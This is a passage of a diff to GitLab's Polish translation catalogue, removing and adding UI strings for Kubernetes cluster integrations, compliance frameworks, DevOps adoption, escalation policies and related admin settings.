-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7417,9 +7396,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7435,9 +7411,6 @@ msgstr "Włącz lub wyłącz połączenie GitLab z klastrem Kubernetes."
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Włącz to ustawienie, jeśli używasz kontroli dostępu opartej na roli (RBAC)."
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7480,27 +7453,12 @@ msgstr "Pobieranie projektów"
msgid "ClusterIntegration|Fetching zones"
msgstr "Pobieranie stref"
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7528,9 +7486,6 @@ msgstr "Klaster grupowy"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Jeśli konfigurujesz wiele klastrów i używasz Auto DevOps, %{help_link_start}zapoznaj się najpierw z tym%{help_link_end}."
@@ -7540,18 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Wprowadzanie umożliwia kierowanie żądań do usług na podstawie hosta lub ścieżki żądania, centralizując szereg usług w jeden punkt początkowy."
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7573,39 +7516,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Nazwa hosta Jupyter"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "JupyterHub, ośrodek z wieloma użytkownikami, namnaża, zarządza i zastępuje wiele przypadków jednoosobowego serwera notebooka Jupyter. JupyterHub może służyć do obsługi notebooków dla klasy studentów, korporacyjnej obsługi danych lub grupy badawczej."
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Nazwa Domeny Knative:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7639,9 +7552,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7690,12 +7600,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7738,9 +7642,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7750,15 +7651,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7795,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7825,9 +7699,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7876,15 +7747,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7909,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7930,27 +7792,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7960,24 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8008,9 +7837,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8032,21 +7858,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8071,27 +7885,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -8107,12 +7906,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8185,6 +7978,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8200,9 +7996,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8501,9 +8303,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8540,9 +8339,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8561,42 +8357,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8615,6 +8378,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8869,6 +8635,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9224,7 +8993,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9263,6 +9032,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9329,6 +9101,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9569,9 +9344,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9698,9 +9470,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9932,6 +9701,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9941,9 +9716,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9959,9 +9731,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10037,6 +9806,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10258,9 +10030,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10327,6 +10096,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10688,9 +10469,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10715,6 +10493,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10748,7 +10529,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10868,6 +10649,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11553,12 +11337,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11616,7 +11418,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11628,21 +11430,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11676,6 +11481,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11697,6 +11505,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11715,15 +11526,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11911,7 +11719,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11962,7 +11770,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11971,6 +11779,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12187,9 +11998,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12223,9 +12031,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12286,6 +12091,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12415,6 +12223,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12424,13 +12235,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12511,13 +12325,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12535,6 +12346,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12550,9 +12364,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12562,9 +12373,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12694,6 +12502,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12859,9 +12670,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13342,7 +13150,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13351,30 +13159,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13384,6 +13216,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13420,9 +13261,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13568,7 +13406,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13589,9 +13427,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13688,9 +13523,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13709,9 +13541,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13997,9 +13826,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14031,9 +13857,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14082,9 +13905,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -14115,9 +13935,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14133,9 +13950,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14175,24 +13989,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14202,9 +14004,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14290,9 +14089,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14308,6 +14104,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14374,9 +14173,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14545,6 +14341,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14566,10 +14365,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
